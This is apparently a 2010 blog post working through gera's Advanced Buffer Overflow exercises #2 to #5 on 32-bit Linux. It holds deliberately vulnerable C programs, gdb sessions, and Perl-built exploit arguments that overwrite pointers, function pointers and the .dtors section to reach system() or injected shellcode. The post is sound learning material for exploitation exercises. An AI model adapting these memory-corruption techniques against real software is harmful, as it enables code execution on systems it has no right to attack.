Monday, July 5, 2010

Advanced Buffer Overflow #5

/* abo5.c *
* specially crafted to feed your brain by gera */

/* You take the blue pill, you wake up in your bed, *
* and you believe what you want to believe *
* You take the red pill, *
* and I'll show you how deep goes the rabbit hole */

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}

If we overflow buf, we can control pbuf to point to wherever. Since we also have a exit(), let's point pbuf at the .dtor section and let the argc[2] for loop copy in an address to our shellcode.

The .dtor (destructor) section in ELF executables is a list of function pointers to functions that run on program exit. The details and exploitation are described in "Overwriting the .dtors section".

main()'s stack frame looks something like:

eip
ebp
pbuf -> somewhere in the heap
.
.
buf

First order, let's control pbuf:

(gdb) run `perl -e 'print "A" x 272';` B C
Starting program: /home/dennis/gera/abo5/abo5 `perl -e 'print "A" x 272';` B C

Breakpoint 1, main (argv=4, argc=0xbffff4c4) at abo5.c:14
14 for (;*pbuf++=*(argc[2]++););
(gdb) x/x pbuf
0x41414141: Cannot access memory at address 0x41414141

Next order, let's take a look at the .dtors section a bit. It is located in the data section (starts at 0x080495e0 in this example) of the binary:

$ nm abo5 | grep -i dtor
080495e4 d __DTOR_END__
080495e0 d __DTOR_LIST__

It is writeable (as seen by the lack of the READONLY option) by default:

$ objdump -h abo5 | grep -A 1 dtor
16 .dtors 00000008 080495e0 080495e0 000005e0 2**2
CONTENTS, ALLOC, LOAD, DATA

Even if the program doesn't define any functions as destructors, the section still exists. It looks like this by default:

$ objdump -s -j .dtors abo5

abo5: file format elf32-i386

Contents of section .dtors:
80495e0 ffffffff 00000000

We will overwrite the 00000000 at 0x80495e4 with an address to our shellcode, but first we need to put the shellcode somewhere and get its address. We will put the shellcode into an environment variable:

$ export ABO5=`perl -e 'print "\xeb\x14\x59\x31\xd2\xb2\x08\x31\xdb\x43
\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xffyou_win!";'

Then get the address of the ABO5:

$ cat env5.c
#include

/* this progname name must be same length as abo5 */

int
main()
{
char *envaddr;

envaddr = getenv("ABO5");
printf("ABO5 is at %p\n", envaddr);
}
$ ./env5
ABO5 is at 0xbffff837

Let's put it all together. First, we are overwriting pbuf to point at the .dtors section (0x80495e4). Now, the for loop copies in the address of our shellcode environment variable (0xbffff837) into pbuf (which points to .dtors):

$ abo5 `perl -e 'print "A" x 268 . "\xe4\x95\x04\x08";'` `perl -e 'prin
t "\x37\xf8\xff\xbf";'`
you_win!$

Sunday, July 4, 2010

Advanced Buffer Overflow #4

/* abo4.c *
* specially crafted to feed your brain by gera */

/* After this one, the next is just an Eureka! away */

extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
}

fn sits out in the .data section and pbuf points to some malloc'd memory in the heap.

main's stack frame looks something like:

eip
ebp
pbuf
.
.
buf

We can overflow buf and overwrite what pbuf points to:

(gdb) run `perl -e 'print "A" x 272';` B C
Starting program: /home/dennis/gera/abo4/abo4 `perl -e 'print "A" x 272';` B C

Breakpoint 1, main (argv=4, argc=0xbffff4c4) at abo4.c:15
15 strcpy(pbuf,argc[2]);
(gdb) x/x pbuf
0x41414141: Cannot access memory at address 0x41414141

If we overwrite pbuf to point to fn, we can use the argc[2] strcpy() to overwrite what fn points to. First we need to know where fn is:

$ nm -v abo4 | grep fn
08049728 D fn

Next we need to overwrite pbuf so that it points to fn:

(gdb) run `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` BBBB C
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/dennis/gera/abo4/abo4 `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` BBBB C

Breakpoint 7, main (argv=4, argc=0xbffff4c4) at abo4.c:15
15 strcpy(pbuf,argc[2]);
(gdb) x/x pbuf
0x8049728
: 0x08048348

Now that we control fn, lets point it back to system() again. Get system()'s location:

(gdb) info functions
All defined functions:

File abo4.c:
int main(int, char **);

Non-debugging symbols:

0x08048310 _init
0x08048338 system@plt

Finally, lets points fn to system():

$ abo4 `perl -e 'print "A" x 268 . "\x28\x97\x04\x08"';` `perl -e 'print "\x38\x83\x04\x08";'` 'echo "you win!"'
you win!

Advanced Buffer Overflow #3

/* abo3.c *
* specially crafted to feed your brain by gera */

/* This'll prepare you for The Next Step */

int main(int argv,char **argc) {
extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;
char buf[256];

fn=(void(*)(char*))&puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}

main's stack frame looks something like:

eip
ebp
fn
.
.
buf

fn is a function pointer that points at system() and then it is changed to point to puts(), we need to reset this so that it points back to system().

First order of business is to figure out the address of system():

(gdb) x/x system
0x8048318
: 0x96a425ff

Next order is to overflow buf and overwrite fn to point back to system():

268 bytes get us to the start of fn

$ abo3 `perl -e 'print "A" x 268 . "\x18\x83\x04\x08"';` 'echo "you win!"'
you win!

Advanced Buffer Overflow #2

/* abo2.c *
* specially crafted to feed your brain by gera@core-sdi.com */

/* This is a tricky example to make you think *
* and give you some help on the next one */

int main(int argv,char **argc) {
char buf[256];

strcpy(buf,argc[1]);
exit(1);
}

I don't know how to exploit this one.

Overwriting main's saved return address with an address won't get us anywhere because exit() never returns to main--implying main never returns.

The following from exit(1) gave me some hope:

1. Call the functions registered with the atexit(3) function, in
the reverse order of their registration.

and I learned a lot about how this is implemented by reading

Pascal Bouchareine's "__atexit in memory bugs"

but in abo2, we can never get near the __exit_funcs structure to overwrite it

$ cat locs.c
#include <stdio.h>
#include <stdlib.h>

extern void * __exit_funcs;

int main(void)
{
static char scbuf[128];
char *mabuf;
char sbuf[128];

mabuf = (char *) malloc(128);

printf("__exit_funcs at %p\n", __exit_funcs);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);
printf("stack at %p\n", sbuf);
return 0;
}

$ gcc locs.c -o locs -static
$ ./locs
__exit_funcs at 0x80b7a60
malloced at 0x80b92e8
static at 0x80b7460
stack at 0xbffff310

The other idea I got from Gray Hat Hacking and also Juan M. Bello Rivas's "Overwriting the .dtors section" was to poke at .dtors, but ran into the same issue as above: can't get near the data to overwrite it:

$ objdump -h abo2

...

16 .dtors 00000008 08049530 08049530 00000530 2**2
CONTENTS, ALLOC, LOAD, DATA


$ objdump -s -j .dtors abo2

abo2: file format elf32-i386

Contents of section .dtors:
8049530 ffffffff 00000000